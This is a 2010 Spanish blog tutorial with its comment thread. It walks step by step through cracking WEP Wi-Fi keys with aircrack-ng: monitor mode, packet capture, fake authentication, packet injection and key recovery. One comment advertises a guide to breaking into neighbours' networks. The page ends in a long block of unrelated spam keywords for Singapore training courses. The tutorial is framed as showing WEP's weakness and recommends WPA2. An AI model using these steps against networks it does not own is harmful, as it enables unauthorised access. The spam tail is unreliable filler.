Este tip sólo existe para educar en el sistema de encriptación inalámbrica WEP, su supuesta seguridad y por qué no recomiendo su uso, debido a lo fácil que es romper la seguridad WEP y hackear una conexión wifi con WEP.
Si no entiendes algo o estás perdido en esto del wifi, crackeo, seguridad y WEP, te recomiendo leer nuestra guía básica: Hacking de wifi y cracking de WEP.
Qué es WEP
Según la wikipedia: WEP, acrónimo de Wired Equivalent Privacy o "Privacidad Equivalente a Cableado", es el sistema de cifrado incluido en el estándar IEEE 802.11 como protocolo para redes Wireless que permite cifrar la información que se transmite. Los mensajes de difusión de las redes inalámbricas se transmiten por ondas de radio, lo que los hace más susceptibles, frente a las redes cableadas, de ser captados con relativa facilidad.
Básicamente es un sistema de encriptación para redes inalámbricas ya sea con autenticación abierta o con clave compartida.
¿Como se podría pasar la seguridad WEP?
Para poder atravesar esta seguridad se utilizan programas llamados Packet Sniffers y un crackeador WEP. Se captura una cantidad determinada de paquetes y luego mediante el crackeador se rompe el cifrado de la red. Un key cracker es un programa basado generalmente en matemáticas estadísticas que procesa los paquetes capturas para descifrar la clave WEP.
Es bastante simple y se los muestro a continuación, cualquier persona con una tarjeta inalámbrica y un sistema de comandos lo puedes hacer.
Crackeo de WEP con Aircrack-ng
Para poder realizar lo anterior tenemos disponibles una serie de herramientas bastantes útiles, en esta situación utilizaremos una suite de herramientas que reúne todos los elementos necesarios para desencriptar el sistema WEP: aircrack-ng. Lo haremos en Linux, pero funciona en Windows también.
En este caso utilizaremos un sistema operativo basado en Debian: Ubuntu. Para instalar la suite aircrack-ng basta con ejecutar en linea de comandos:
Código :
sudo apt-get install aircrack-ng
El siguiente paso es poner nuestra tarjeta de red en modo monitor.. ¿Pero que es eso?
Wikipedia :
Activamos:
Código :
airmon-ng start wlan0
Se activa en mon0, esto ya depende de tu tarjeta de red, para más información (por que este no es el tema) consulta SanGoogle.
Y monitoreamos:
Código :
airodump-ng mon0
Al insertar el ultimo comando nuestra tarjeta de red está captando y monitoreando todas las redes disponibles a nuestro alrededor. Saldrán varios elementos, información sobre las redes. Nos enfocaremos principalmente en BSSID (una clave estilo MAC), CH (el canal donde se encuentra la red), ENC (la encriptación debe de ser WEP por obvias razones) y el ESSID (básicamente el nombre de la red).
Para obtener esos datos, corremos:
Código :
airodump-ng -c [# canal] -w [ESSID] --bssid [BSSID] mon0
En la primera parte estamos utilizando la suite aircrack-ng.
-c Especificamos el canal.
-w Especificamos ESSID.
--bssid Habla por si solo.
mon0 De donde estamos monitoreando.
Inyección de tráfico a redes wifi WEP con aireplay
Así es. Y basta con la herramienta aireplay (el cual inyecta tráfico para elevar la captura de vectores de inicio) para hacerlo.
Código :
aireplay-ng -1 6000 -a [BSSID] -h [tu MAC] mon0
Donde:
-1 6000 Es un tipo de ataque que genera una autenticación falsa con retraso.
-a Es el punto de acceso, enseguida ponemos el BSSID.
-h Es el source, aquí ponemos nuestra MAC address.
mon0 La interfaz que utilizamos.
Para ver lo que inyectamos:
Código :
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [BSSID] -h [tu MAC] mon0
-2 El tipo de ataque interactivo con los paquetes.
-p Aplica control en palabras.
-c Una MAC destino.
-b BSSID.
-h Es el source, aquí ponemos nuestra MAC address.
mon0 La interfaz que utilizamos.
Crackear la clave WEP de la red wifi elegida
Lo haremos con un key cracker, la suite aircrack-ng lo tiene, así que lo activamos con el siguiente y simple comando.
Código :
aircrack-ng -z [BSSID]*.cap
Bastará que hayamos capturado suficientes paquetes para que el key cracker sea capaz de desencriptar la red WEP. En unos segundos o minutos (según sea el caso) aparecerá un mensaje como el siguiente:
Código :
KEY FOUND! [ 1234567890 ]
Espero que con este pequeño tip haya quedado claro que la encriptación WEP en las redes inalámbricas no es segura. Siempre hay métodos para desencriptar cualquier tipo de sistema pero la dificultad aumenta conforme a las tecnologías avanzan.
¿Qué recomiendo? Usa WPA-2.
¿Sabes SQL? ¿No-SQL? Aprende MySQL, PostgreSQL, MongoDB, Redis y más con el Curso Profesional de Bases de Datos que empieza el martes, en vivo.
Por Freddie el 18 de Octubre de 2010
NO uses [size] y [b] para crear títulos. Cristalab tiene los tags [h2] para titulos grandes y [h3] para subtitulos. Usa esos por favor. En esta ocasión, los reemplacé por ti.
Por Kinduff el 18 de Octubre de 2010
Por CLAnonimo el 19 de Octubre de 2010
Pero ¿Por que tanto tiempo y paquetes? el tiempo depende de cuanto trafico exista en la red. si nunca usan la red, no hay paquetes que encriptar, si la red esta muy saturada, tu probabilidad es alta, pero el programa no te garantiza que capturar todos o la mayoria.
Puede que funcione con la wifi de una gran empresa o con un vecino que se la pasa bajando archivos a la computadora, pero no garantiza que obtengas la password.
Pero en fin, el post se dedica a la seguridad de las WEP, no al hackeo de ellas. Es mejor usar otros niveles de encriptacion para tu WIFI el cual tu provedor de Internet debe satisfacer.
Kinduff, excelente aporte.
Por Kinduff el 20 de Octubre de 2010
No se que tipo de PC tengas, pero ¿60 por minuto? Juas! Lo normal es capturar 50 ivs por segundo.
Por mpty el 23 de Octubre de 2010
Por tarangor el 25 de Octubre de 2010
se agradece
Por fedo el 25 de Octubre de 2010
prueba con ethercap
Por Kinduff el 25 de Octubre de 2010
Por CLAnonimo el 25 de Octubre de 2010
mi celular
Por wawi el 02 de Noviembre de 2010
Por Victor-Nael el 02 de Noviembre de 2010
Kinduff-blog :
Estoy seguro de que ahora van a aparecer los script kiddies y similares a darselas de hackers. n
Por jacri el 03 de Noviembre de 2010
Por Kinduff el 04 de Noviembre de 2010
jacri-blog :
Pero al final viene siendo lo mismo, la suite viene con el Backtrack no?
Por dildo el 02 de Diciembre de 2010
ia e desifrado algunas redes pero
oh mi sorpresa me tope con una lleva por nombre -
i al momento de escribir en la terminal
sudo airodump-ng -c x -w - --bssid 00:00:00:00:00:00 mon0
me sale error por que la red lleva por nombre solo una -
y mi duda es como le puedo aser para no poner -w - --bssid
espero me puedan ayudar
Por bastian el 20 de Diciembre de 2010
p.d: este es mi msn: [email protected]
Por jaime el 28 de Diciembre de 2010
Por Kinduff el 06 de Enero de 2011
sudo airodump-ng -c x -w "-" --bssid 00:00:00:00:00:00 mon0
Por Zeta el 21 de Enero de 2011
Por KiLLo2 el 07 de Febrero de 2011
Por Luis el 08 de Marzo de 2011
Por deyvis el 27 de Mayo de 2011
Por jose antonio el 15 de Septiembre de 2011
O site Apostila Hacker esta disponibilizando um tutorial que explica como invadir uma rede wireless para utilizar a mesma. O site mostra quais as ferramentas utilizar para fazer isso, a maioria das pessoas não sabem como fazer isso exatamente por não conhecerem esses programas, o que faremos é mostrar para que cada um deles serve e como os utilizar para invadir a rede sem fio do seu vizinho ou outra qualquer. Este tutorial também ira mostrar como prevenir sua rede destes ataques.
http://www.apostilahacker.com.br
Invadir rede wireless
Senha da internet wireless
senha da rede sem fio
senha de rede wireless
senha WPA2
senha WPA
usar internet do vizinho
usar internet dos outros
Descobrir senha da internet sem fio
Invadrir internet sem fio
Usar internet sem fio do vizinho
Quebrar senha WEP
Senha Wi-fi
Senha WEP
WLAN
WAN
WEP
Wi-Fi
WPA
WPA2
Para saberem mais visitem o site:
http://www.apostilahacker.com.br
Por brady el 05 de Diciembre de 2011
Por el 02 de Enero de 2012
http://www.segelsoft.com/2011/12/31/fallo-de-seguridad-en-wps-permite-acceder-a-redes-wireless-sin-autorizacion/
Es por un bug en el WPS de los puntos de acceso
Por LUISMI1405 el 18 de Enero de 2012
Por .Exe el 05 de Enero de 2013
Por Kinduff el 05 de Enero de 2013
.Exe-blog :
Si, es posible.
Por olague el 08 de Enero de 2013
Por Chepe el 23 de Enero de 2013
Por noriega el 26 de Enero de 2013
Por reptar el 01 de Marzo de 2013
Por gustavo el 22 de Marzo de 2013
Por maxui el 02 de Julio de 2013
Por cesar el 29 de Julio de 2013
Por daniel el 19 de Octubre de 2013
Por cesar el 22 de Octubre de 2013
Por DANIELA el 15 de Noviembre de 2013
Por VANESSA LIKE el 15 de Noviembre de 2013
Por Osvaldo Manno el 18 de Diciembre de 2013
Ojo, te falto
aircrack-ng -z -b [BSSID]*.cap
Sino Retorna un error en el codigo!
(por lo menos a mi en la version 2013)
Por el 24 de Diciembre de 2013
Por Nahum el 31 de Enero de 2014
Por sergio el 11 de Junio de 2014
Por chimbala el 25 de Julio de 2014
Por chimbala el 25 de Julio de 2014
Por yordan ulises ajche el 30 de Julio de 2014
Por spl xv el 22 de Octubre de 2014
Naada
Por Marcelo el 22 de Enero de 2015
Por Marcelo el 22 de Enero de 2015
Por oliver el 23 de Abril de 2015
Por oliver el 23 de Abril de 2015
Por agustin el 17 de Mayo de 2015
Por Blade0912 el 24 de Mayo de 2015
Por brayan el 13 de Agosto de 2015
Por LaRealOrden el 26 de Enero de 2016
Por martin el 04 de Junio de 2016
Por el 31 de Enero de 2018
classroom rental space
training rrom rental in singapore
training rooms in singapore
seminar room rental in singapore
indoor team building activities
corporate team building games singapore
team bonding in singapore
team building activities singapore
team building games singapore
10 soft skills you need
administrative office procedures
administrative support courses
adult learning mental skills
adult learning physical skills
anger management courses in singapore
appreciative inquiry courses
archiving and records management
assertiveness and self confidence
attention management courses
basic bookkeeping courses
being a likeable boss
body language basics courses
budgets and financial reports
business acumen courses
business ethics courses
business etiquette courses in singapore
business succession planning courses
business writing courses in singapore
call center training courses
change management courses in singapore
coaching and mentoring courses
coaching sales people courses
collaborative business writing
communication strategies courses
conducting annual employee reviews
conflict resolution courses
contact center training courses
contract management courses in singapore
creating a great webinar
creative problem solving courses
crisis management courses
critical thinking courses in singapore
customer service courses in singapore
customer support courses
cyber security courses in singapore
delivering constructive criticism
developing a lunch and learn
developing corporate behavior
developing creativity courses
developing new managers
digital citizenship courses
emotional intelligence courses
employee motivation courses
employee on boarding courses
employee recognition courses
employee recruitment courses
employee termination processes
entrepreneurship courses in singapore
event planning courses in singapore
executive and personal assistants
facilitation skills courses
generation gaps courses
goal setting and getting things done
handling a difficult customer
health and wellness at work courses
high performance teams inside the company
high performance teams remote work force
hiring strategies courses
human resource management courses in singapore
improving mindfulness
improving self awareness
increasing your happiness
internet marketing fundamentals courses
interpersonal skills courses
job search skills courses
knowledge management courses in singapore
leadership and influence courses
lean process and six sigma
life coaching essentials courses
manager management courses
managing personal finances courses
managing work place anxiety
marketing basics courses
measuring results from training
media and public relations courses
meeting management courses
middle manager courses
millennial on boarding courses
m learning essentials
motivating your sales team
multi level marketing courses
negotiation skills courses
networking outside the company
networking within the company
office politics for managers
organizational skills courses
overcoming sales objections
performance management courses
personal branding courses in singapore
personal productivity courses
presentation skills courses in singapore
project management courses in singapore
proposal writing courses
prospecting and lead generation
public speaking courses in singapore
risk assessment and management courses
safety in the work place courses
sales fundamentals courses
sales training courses in singapore
servant leadership courses
it courses in singapore
microsoft training singapore
corporate training in singapore
corporate sgx
social intelligence courses
social learning courses
social media in the work place
social media marketing courses in singapore
soft skills courses in singapore
stress management courses in singapore
supervising others
supply chain management courses
taking initiative courses
talent management courses
team building for managers
team building through chemistry
teamwork and team building
telephone etiquette courses
telework and telecommuting
time management courses in singapore
trade show staff training
train the trainer courses
virtual team building and management
women in leadership courses
work life balance courses in singapore
work place diversity courses
work place harassment courses
work place violence courses
sancy suraj
sancy suraj
sancy suraj
sancy suraj
sancy suraj
sancy suraj
sancy suraj
sancy suraj
[url=https://books.google.com.sg/books?id=1QykBQAAQBAJ&pg=PT362&lpg=PT362&dq=%22sancy+suraj+singh%22&source=bl&ots=E86QDyrLG2&sig=H-6a_YH-kTWaZWTfPSr1xfm4BOs&hl=en&sa=X&ved=0ahUKEwi3_56hhubVAhWJLo8KHcxTBxQ4ChDoAQgjMAA#v=onepage&q =% 22sancy% 20suraj% 20singh% 22 & f = false]sancy suraj[/url]
sancy suraj
longest colour sequence memorised
sancy suraj
longest colour sequence memorised
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
memory training course
lunch talks
lunch talks
memory training course
memory training course
cabin crew
online memory course
memory training course
memory training course
memory training course
memory training course
memory training course
speed reading
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
geography tuition for secondary school students in singapore
geography tuition for secondary school students singapore
geography tuition for secondary school students singapore
geography tuition for secondary school students singapore
geography tuition for secondary school students singapore
secondary geography tuition in singapore
history tuition for secondary school students in singapore
social studies tuition for secondary school students in singapore
psle english tuition in singapore
psle science tuition in singapore
secondary 1 chemistry tuition in singapore
secondary 1 physics tuition in singapore
school holiday workshops courses for students in singapore
school holidays activitie in singapore
school holidays activitie in singapore
[url=http://umonictuitionadvantage.com/2017-november-school-holidays-activities-programmes-workshop-courses-camps-for- students-kids-in-singapore/]school holidays activitie in singapore[/url]
school holidays activitie in singapore
study skills
study skills
study skills workshops course in singapore
study skills workshops course in singapore
speed reading
speed reading
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition
tuition[
tuition[
tuition[
tuition[
tuition[
tuition[
tuition[
tuition[
student courses
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
corporate training
lunch talk
lunch talk
lunch talk
lunch talk
lunch talk
lunch talk
lunch talk
lunch talk
lunch talk
lunch talk
lunch talk
lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
corporate lunch talk
team building
team building ideas
team building activities
unique team building
team building
corporate training in singapore
corporate training courses
corporate training courses
corporate training courses
corporate training courses
corporate health talk
corporate health talk
corporate health talk
lunch and learn talk
workplace lunch and learn
corporate training companies in singapore
training companies in singapore
emcee
emcee
health talks
soft skills training course
corporate training providers
professional development courses
training and development courses
short courses in singapore
corporate training courses in singapore
corporate training courses
corporate training in singapore
school holiday workshops courses for students in singapore
business students memory course in singapore
business students memory improvement workshop in singapore
memory improvement course for business students
memory improvement course for business students
business students memory improvement course
business students memory course in singapore
corporate health talks singapore
corporate health talks in singapore
corporate health talk singapore
corporate health talk in singapore
corporate health talks singapore
corporate health talks singapore
finance students memory training course in singapore
finance students memory training course in singapore
finance students memory training course in singapore
memory training courses for finance students in singapore
memory training courses for finance students in singapore
memory improvement courses for finance students in singapore
pinnacle minds
memory course
study skills
speed reading
memory training
school holiday
lunch and learn
march school holidays workshops
march school holidays workshops
march school holidays workshops
march school holidays workshops
march school holidays workshops
june school holidays workshops
june school holidays workshops
june school holidays workshops
june school holidays workshops
september 2018 school holidays workshops
september 2018 school holidays workshops
september 2018 school holidays workshops
september 2018 school holidays workshops
november 2018 school holidays workshops
november 2018 school holidays workshops
november 2018 school holidays workshops
november 2018 school holidays workshops
december 2018 school holidays workshops
december 2018 school holidays workshops
december 2018 school holidays workshops
december 2018 school holidays workshops
top 10 soft skills you need training course
administrative office procedures training course
administrative support training course
anger management training course
appreciative inquiry training course
archiving and records management training course
archiving and records management training course
self confidence and assertiveness training course
improving your attention management training course
bacis bookkeeping training course
being a likeable boss training course
body language training course
budgets and-financial reports training course
business acumen training course
business ethics training course
business etiquette training course
business succession planning training course
business writing training course
call centre training course
change management training course
civility in the workplace training course
coaching and mentoring training course
coaching salespeople training course
collaborative business writing training course
communication strategies training course
conducting annual employee reviews training course
conflict resolution training course
contact centre training course
contract management training course
creating a great webinar training course
creative problem solving training course
crisis management training course
critical thinking training course
customer service training course
customer support training course
cyber security training course
delivering constructive criticism training course
developing lunch and learn training course
developing corporate behavior training course
developing creativity training course
developing new managers training course
digital citizenship training course
emotional intelligence training course
employee motivation training course
employee onboarding training course
employee recognition training course
employee recruitment training course
employee termination processes training course
entrepreneurship training course
event planning training course
executive and personal assistants training course
facilitation skills training course
generation gaps training course
goal setting and getting things done training course
handling a difficult customer training course
health and wellness at work training course
high performance teams inside the company training course
high performance teams remote workforce training course
hiring strategies training course
human resource management training course
improving mindfulness training course
improving self awareness training course
internet marketing fundamentals training course
interpersonal skills training course
job search skills training course
knowledge management training course
leadership and influence training course
lean process and six sigma training course
life coaching essentials training course
manager management training course
managing personal finances training course
managing workplace anxiety training course
marketing basics training course
measuring results from training course
media and public relations training course
meeting management training course
middle manager training course
millennial onboarding training course
mlearning essentials training course
motivating your sales team training course
negotiation skills training course
networking outside the company training course
networking within the company training course
office politics for managers training course
organizational skills training course
overcoming sales objections training course
performance management training course
personal branding training course
personal productivity training course
presentation skills training course
project management training course
proposal writing training course
prospecting and lead generation training course
public speaking training course
risk assessment and management training course
safety in the workplace training course
sales fundamentals training course
servant leadership training course
social intelligence training course
social learning training course
social media in the workplace training course
social media marketing training course
stress management training course
supervising others training course
supply chain management training course
taking initiative training course
talent management training course
team building for managers training course
team building through chemistry training course
teamwork and team building training course
telephone etiquette training course
telework and telecommuting training course
time management training course
top 10 sales secrets training course
trade show staff training course
train the trainer training course
virtual team building and management training course
women in leadership training course
work life balance training course
workplace diversity training course
workplace harassment training course
workplace violence training course
half day memory improvement courses workshops
speed reading courses workshops in singapore
10 soft skills you need corporate training course in singapore
administrative office procedures corporate training course in singapore
administrative support corporate training course in singapore
anger management corporate training course in singapore
appreciative inquiry corporate training course in singapore
archiving and records management corporate training course in singapore
self confidence assertiveness corporate training course in singapore
improving your attention management corporate training course in singapore
basic bookkeeping corporate training course in singapore
being a likeable boss corporate training course in singapore
body language basics corporate training course in singapore
budgets and financial reports corporate training course in singapore
business acumen corporate training course in singapore
business ethics corporate training course in singapore
business etiquette corporate training course in singapore
business succession planning corporate training course in singapore
business writing corporate training course in singapore
call center corporate training course in singapore
change management corporate training course in singapore
civility in the workplace corporate training course in singapore
coaching and mentoring corporate training course in singapore
coaching salespeople corporate training course in singapore
collaborative business writing corporate training course in singapore
communication strategies corporate training course in singapore
conducting annual employee reviews corporate training course in singapore
conflict resolution corporate training course in singapore
contact center corporate training course in singapore
contract management corporate training course in singapore
creating a great webinar corporate training course in singapore
creative problem solving corporate training course in singapore
crisis-management corporate training course in singapore
critical thinking corporate training course in singapore
customer service corporate training course in singapore
customer support corporate training course in singapore
cyber security corporate training course in singapore
delivering constructive criticism corporate training course in singapore
developing a lunch and learn corporate training course in singapore
developing corporate behavior corporate training course in singapore
developing creativity corporate training course in singapore
developing new managers corporate training course in singapore
digital citizenship corporate training course in singapore
emotional intelligence corporate training course in singapore
employee motivation corporate training course in singapore
employee onboarding corporate training course in singapore
employee recognition corporate training course in singapore
employee recruitment corporate training course in singapore
employee termination processes corporate training course in singapore
entrepreneurship training course in singapore
event planning corporate training course in singapore
executive and personal assistants corporate training course in singapore
facilitation skills corporate training course in singapore
generation gaps corporate training course in singapore
goal setting and getting things done corporate training course in singapore
handling a difficult customer corporate training course in singapore
health and wellness at work corporate training course in singapore
high performance teams inside the company corporate training course in singapore
high performance teams remote workforce corporate training course in singapore
hiring strategies corporate training course in singapore
human resource management corporate training course in singapore
improving mindfulness corporate training course in singapore
improving self awareness corporate training course in singapore
increasing your happiness corporate training course in singapore
internet marketing fundamentals corporate training course in singapore
interpersonal skills corporate training course in singapore
job search skills corporate training course in singapore
knowledge management corporate training course in singapore
leadership and influence corporate training course in singapore
lean process and six sigma corporate training course in singapore
life coaching essentials corporate training course in singapore
manager management corporate training course in singapore
managing personal finances corporate training course in singapore
marketing basics corporate training course in singapore
measuring results from corporate training course in singapore
media and public relations corporate training course in singapore
meeting management corporate training course in singapore
middle manager corporate training course in singapore
millennial onboarding corporate training course in singapore
mlearning essentials corporate training course in singapore
motivating your sales team corporate training course in singapore
negotiation skills corporate training course in singapore
networking outside the company corporate training course in singapore
networking within the company corporate training course in singapore
office politics for managers corporate training course in singapore
organizational skills corporate training course in singapore
overcoming sales objections corporate training course in singapore
performance management corporate training course in singapore
personal branding corporate training course in singapore
personal productivity corporate training course in singapore
presentation skills corporate training course in singapore
project management corporate training course in singapore
proposal writing corporate training course in singapore
prospecting and lead generation corporate training course in singapore
public speaking corporate training course in singapore
[url